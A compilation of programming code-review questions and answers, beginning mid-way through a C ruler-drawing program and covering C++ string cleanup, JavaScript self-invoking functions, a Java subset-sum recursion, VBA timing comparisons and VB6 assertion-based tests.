    printf( "-" );
    }
    printf( "%d\n", x );
    for( p=0; p < n-3; p++ )
    {
    printf("-");
    }
    printf( "\n" );
    for( p=0; p < n-2; p++ )
    {
    printf( "-" );
    }
    printf( "\n" );
    for( p=0; p < n-3; p++ )
    {
    printf( "-" );
    }
    printf("\n");
    for( p = 0; p < n-1; p++)
    {
    printf( "-" );
    }
    printf( "\n" );
    for( p = 0; p < n-3; p++)
    {
    printf( "-" );
    }
    printf( "\n" );
    for( p = 0; p < n-2; p++)
    {
    printf( "-" );
    }
    printf( "\n" );
    for( p = 0; p < n-3; p++)
    {
    printf( "-" );
    }
    printf( "\n" );
    }
    for( y = 0; y < n; y++ )
    {
        printf( "-" );
    }
    printf( "%d", x );
    printf( "\n" );
    return 0;
 }

The task you are solving is quite simple. So I don't think there's any great change possible. Here are a few things:

You might want to consider accepting command-line parameters (argc and argv) to determine the number of dashes and the dash height.

Your variables are poorly named, and not initialized. You have not specified an old version of C, so I'm assuming that you can write to at least the 1999 C standard (known as "C99").

You don't validate your user's input.

You don't need to return 0 from main(). Just "fall off the end" of the function and it will do that automatically.

Your last two calls to printf should be merged.

You might want to write functions (or preprocessor macros) to make the various fractional gradations more clear:
#define DRAW_1_8(HEIGHT) for (int i = 0; i < (HEIGHT) - 3; ++i) printf("-")

then your main loop becomes a series of named statements:
for (int inch = 0; inch < length; ++inch) {
    DRAW_INCH(height, inch);
    DRAW_1_8(height);
    DRAW_1_4(height);
    DRAW_1_8(height);
    DRAW_1_2(height);
    DRAW_1_8(height);
    DRAW_1_4(height);
    DRAW_1_8(height);
}
DRAW_INCH(height, length);

This does serve to make the code a bit clearer, but mainly it serves to reduce repetition. I'll bet there were a few mistakes early on as you adjusted all the n - K parameters, and macros or functions address that issue.


Effective way to remove white spaces from string I have come up with this approach but I'm not convinced about its effectiveness. Is there any effective approach?

#include <string>
#include <iostream>

template <typename Container,  typename UnaryPredicate>
auto remove_if(Container& c, UnaryPredicate pred)
    -> decltype(c.begin())
{
    auto it = std::begin(c);
    while (it != std::end(c))
    {
        if(pred(*it))
        {
            it = c.erase(it);
        }
        else
        {
            ++it;
        }
    }
    return it;
}

template <typename Container, typename T>
auto remove(Container& c,  T const& value)
    -> decltype(c.begin())
{
    return remove_if(c,  [&](T const& t) { return t == value; });
}

int main()
{
    std::string str = " Text with some spaces ";
    remove(str, ' ');
    std::cout << str ;
}

General Comment
Stop trying to re-invent the wheel.
Or at least go look at a more interesting wheel that has not been optimized to the point were you can't do better.
Code Review
You are calling std::end() every iteration of the loop. Its not a very ineffecient call. But its still doing work they you probably don't need to in most containers.
    while (it != std::end(c))

The standard erase-remove idiom does not need to do this because it works out what it needs to remove first. Thus saving this cost (even if it is very small).
This does not work on all container types (in pre C++11):
             it = c.erase(it);

On containers like std::vector the erase(it) is very expensive. As you have to move all the elements down by one place each time you call erase. This is why the erase-remove idiom does it the other way. It moves elements down as many places as they need to go in a single shot without having to do multiple copies (one move per element).


Any use for this kind of self invoking function? I am wondering if the self invoking function as displayed below, mainly the part of using the same function twice ('foo')('bar'), would ever be seen as a good practice?

And more important, is there a good reason to use this? Personally in this particular example I would rather go for multiple attributes and loop those.

The HTML is just filler.

<!DOCTYPE html>
<meta charset='utf-8'>
<title>Foo Bar Foobar</title>

Foo

Bar

Foobar

Wow. Basically you wrote Code A but in a cool functional programming style.

Code A:

(function(){
    function foobar(id) {
        var element = document.getElementById(id);
        element.style.color = 'red';
        element.style.textIndent = '10px';
    }
    for(var i = 0, len = arguments.length; i < len; i++){
        foobar(arguments[i]);
    }
}('foo', 'bar'));

Self invoking functions are good for three situations.

To perform some startup functions onload. (Most likely your case)
To save results from a expensive operation into a loop up table.

Example:

var primeTable = (function(){
    var primeObject = {}
    // calculates and stores primes from 100 to 1000 in primeObject
    return primeObject;
})();

3. To create private variables, which is normally called a Module Design Pattern.

Example:

var box = (function () {
    var key = Math.floor(Math.random() * 1e5).toString(16);
    return {
        open : function(val){
            return (val === key) ? "Box has opened." : "Wrong Key";
        },
        setKey : function (oldKey, newKey) {
            if (oldKey === key) {
                key = newKey;
            }
        }
    }
})();

Overall, if you want to follow KISS philosophy then I think you should wrap everything in a closure and call the function traditionally.

(function(){
    function foobar(id) {
        var element = document.getElementById(id);
        element.style.color = 'red';
        element.style.textIndent = '10px';
    }
    foobar('foo');
    foobar('bar');
})();


Finding if there is a subset that sums to a target value from an array of integers I came across this problem.

  Problem Statement:

  Given an array of ints, is it possible to choose a group of some of
  the ints, beginning at the start index, such that the group sums to
  the given target? However, with the additional constraint that all 6's
  must be chosen.

  groupSum6(0, {5, 6, 2}, 8) → true
  groupSum6(0, {5, 6, 2}, 9) → false
  groupSum6(0, {5, 6, 2}, 7) → false

Below is my code:

public boolean groupSum6(int start, int[] nums, int target) {
if(nums.length==0)
  return target==0;

   if(start==nums.length-1)
    return target==nums[nums.length-1]||(target==0&&!(nums[nums.length-1]==6));

    if(target==0&&nums[start]==6)
    return false;
    if(target==0&&!(nums[start]==6))
      return groupSum6(start+1, nums, 0);

      if(groupSum6(start+1, nums, target-nums[start])||nums[start]==6)
      return groupSum6(start+1, nums, target-nums[start]);

      return groupSum6(start+1, nums, target);
}

Please feel free to review, or if you have a better solution in mind which uses lesser number of ifs, you can share it in your review.

EDIT: The code was written using a plain text editor so it's less readable, for a readable version of code you may have a look here As there is already one review which explains about readability so request to review keeping the code optimization in view.

This will be a solely style-focused review, because your code (don't take it personal) looks horrible...
SPACE to breathe:
Your code is cramped, and your poor operators and statments a sqeezed together like sardines in a tin.
Spaces are free! Use them!
Tabs to clarify:
You seem to have an aversion to indenting your code, or rather really indenting it. You indent by 2 spaces. That's a little thrifty. Use one tab or four spaces instead. This makes it easier to distinguish between levels, especially when you have large blocks of indented code in one method.
Braces to see:
Additionally you seem to dislike Braces to separate blocks. So here goes:
Wherever optional, still use braces!
Why? Because it's clear, consistent and less prone to bugs when you do.
Ctrl+Shift+F to format:
Use your IDE!!! Eclipse and Netbeans are both free, and both can do much of the formatting for you.
Your Code, after Applying just these three things:
public boolean groupSum6(int start, int[] nums, int target) {
    if (nums.length == 0) {
        return target == 0;
    }

    if (start == nums.length - 1) {
        return target == nums[nums.length - 1] ||
                (target == 0 && !(nums[nums.length - 1] == 6));
    }

    if (target == 0 && nums[start] == 6) {
        return false;
    }
    if (target == 0 && !(nums[start] == 6)) {
        return groupSum6(start + 1, nums, 0);
    }

    if (groupSum6(start + 1, nums, target - nums[start]) || nums[start] == 6) {
        return groupSum6(start + 1, nums, target - nums[start]);
    }

    return groupSum6(start + 1, nums, target);
}

I think this is much more readable


VBA code for testing efficency I am currently trying out code for timing efficiency (how fast it runs, basically).

The general consensus is that code with ActiveCell,.Select,Selection and so forth are basicly rejected for being slow and buggy, whereas code that uses variables and not ActiveCell,.Select,Selection are considered quicker and less buggy

The two codes I have made do the same thing, which is to enter a number 40000+1 every consecutive cell (so Cell A1 is 40000 then A2 is 40001 and so forth) and then converts those numbers into dates. One does this with ActiveCell, Selection and Select, while the other does it with varibles,Long and Range. I also did both with and then without Application.ScreenUpdating = False to see how that worked as well.

The code ActiveCell etc. ran at 13494,26567,26489,14040,26598(without Application.ScreenUpdating = False) and 1154,1123,1123,1107,1170 (with Application.ScreenUpdating = False) "Milliseconds"

The code without ActiveCell ran at 905,905,905,671,687 (without Application.ScreenUpdating = False) and ran at 577,609,577,577,562 (with Application.ScreenUpdating = False) "Milliseconds"

The milliseconds is in "Milliseconds" as the Private Declare Function GetTickCount Lib "kernel32.dll" () As Long I have been lead to believe isnt very accurate, I use it because the accurate ones are addins for excel and I unable to download or install anything on this PC, but gvies a decent idea of the speed the code runs at

The code that the efficency tests is the For i = 1 To 1000 loop

Code with ActiveCells:

Private Declare Function GetTickCount Lib "kernel32.dll" () As Long

Sub UsingVaribles()

Dim NumberToday As Long
Dim StartTimer As Long
Dim rngCells As Range
Dim rng As Range

Application.ScreenUpdating = False

[A1].Select

NumberToday = 40000

StartTimer = GetTickCount

k = 1

    For q = 1 To 26

        For i = 1 To 1000
        NumberToday = NumberToday + 1
        Set rngCells = Cells(i, k)
        rngCells.Value = NumberToday
        Next i

    Range(rngCells, Cells(1, k)).NumberFormat = "m/d/yyyy" ' 1 bug out

    k = k + 1

    Next q

MsgBox (GetTickCount - StartTimer & " Milliseconds")

End Sub

Code without ActiveCells:

Sub UsingActivecell()

Application.ScreenUpdating = False

[A1].Select

NumberToday = 40000

Dim StartTimer As Long

StartTimer = GetTickCount

    For q = 1 To 26

        For i = 1 To 1000
        NumberToday = NumberToday + 1
        ActiveCell.Value = NumberToday
        ActiveCell.Offset(1, 0).Select
        Next i

ActiveCell.Offset(-1, 0).Select
Range(Selection, Selection.End(xlUp)).Select ' 3 issues with bug out, due to my incompitence
Selection.NumberFormat = "m/d/yyyy"

ActiveCell.Offset(0, 1).Select
ActiveCell.End(xlUp).Select

Next q

MsgBox (GetTickCount - StartTimer & " Milliseconds")

End Sub

I know this isn't what you're asking, but what's up with your variables? You should always turn on Option Explicit which will catch things like k, q and i not being dimensioned.

When you don't define your variable, VBA defines it as a variant. I'm pretty sure variants are objects:

  Performance. A variable you declare with the Object type is flexible
  enough to contain a reference to any object. However, when you invoke
  a method or property on such a variable, you always incur late binding
  (at run time). To force early binding (at compile time) and better
  performance, declare the variable with a specific class name, or cast
  it to the specific data type.

So you pay a penalty when you don't dimension your variables.

I imagine defining your variables might shave some milliseconds off over the long run.

For variables I'm getting 570ish

For selection I'm getting 950ish

For i=1 to 10000

using your variables is giving me about 5200
while using option explicit I'm getting around 5100.

For i=1 to 50000

option explicit is 24165
your variables is 24476

Option Explicit has the gainz.

And now, my version (why are you [A1].Selecting?) for i=1 to 50000 comes in at 23182. That right there should show you the .select statement was slowing it down.

Option Explicit

Private Declare Function GetTickCount Lib "kernel32.dll" () As Long

Sub UsingVaribles()
    Application.ScreenUpdating = False
    Dim NumberToday As Long
    NumberToday = 40000
    Dim StartTimer As Long
    StartTimer = GetTickCount
    Dim rngCells As Range
    Dim rng As Range
    Dim k As Long
    k = 1
    Dim i As Long
    Dim q As Long

    For q = 1 To 26
        For i = 1 To 50000
            NumberToday = NumberToday + 1
            Set rngCells = Cells(i, k)
            rngCells = NumberToday
        Next i
        Range(rngCells, Cells(1, k)).NumberFormat = "m/d/yyyy" ' 1 bug out
        k = k + 1
    Next q

    MsgBox (GetTickCount - StartTimer & " Milliseconds")
    Application.ScreenUpdating = True
End Sub


Testing code with Debug.Assert I have a small little function in a VB6 codebase:

Public Function GetEquivalentCode(Optional ByVal code As String) As String

    If IsMissing(code) Or code = vbNullString Then code = m_GlobalCode

    Dim result As String

    If StringStartsWith("ABC", code) Then
        result = "ABC2013"
    Else
        result = code
    End If

    GetEquivalentCode = result

End Function

The implications of this function are massive, so before I deployed it I wrote a small test to ensure it returns the correct/expected value in all cases:

Public Sub GetEquivalentCodeTest()

    Dim result As String

    m_GlobalCode = "ABC2013"
    result = GetEquivalentCode
    Debug.Assert result = "ABC2013"

    m_GlobalCode = "ABC2014"
    result = GetEquivalentCode
    Debug.Assert result = "ABC2013"

    m_GlobalCode = "ABC2013A"
    result = GetEquivalentCode
    Debug.Assert result = "ABC2013"

    m_GlobalCode = "XYZ2013"
    result = GetEquivalentCode
    Debug.Assert result = "XYZ2013"

    m_GlobalCode = "SOMETHING ELSE"
    result = GetEquivalentCode
    Debug.Assert result = "SOMETHING ELSE"

    m_GlobalCode = vbNullString
    result = GetEquivalentCode
    Debug.Assert result = vbNullString

    Debug.Print "GetEquivalentCodeTest: Passed."

End Sub

Running this method from the immediate pane prints GetEquivalentCodeTest: Passed., and if I tweak it to make it fail, it breaks at the assertion that evaluates to False.

Is this the best way to write automated tests in VB6?

Colleagues call me a "purist" - I take it as a compliment. The thing is, without this test method, the mere fact that you give "ABC2014" to the function and it returns "ABC2013" can (will) be a major WTF for anyone maintaining this code in 2 years' time (including myself); the way I see it, these tests document what the [funky] business rules are.

Is there a way to write the test so as to make the business rules even more obvious?

The only thing that I can see at first glance to show what the business rule is, is to do something like this

m_GlobalCode = "ABC"
result = GetEquivalentCode
Debug.Assert result = "ABC2013"

probably at the beginning.

I think this is exactly what the business rule is saying from my understanding of the information that you have given

you probably want to add something like this to follow it, just to be clear what the rule is.

m_GlobalCode = "AB"
result = GetEquivalentCode
Debug.Assert result = "AB"

These two pieces coupled together show the entire Business Rule.

  if the input string starts with "ABC" then return "ABC2013" otherwise return the input

6 tests should clearly define the Business Rule

Input: "ABC"
Input: "AB"
Input: vbNullString
Input: {Random String not Starting with "ABC"}
Input: "DABC"  Result: "DABC"
Input: "ABC5029DDD"

Number 5 shows that ABC must be at the beginning of the string

Numbers 1 & 6 shows what the Function is doing.

Numbers 2,3,4, & 5 show what happens when the ABC is not at the beginning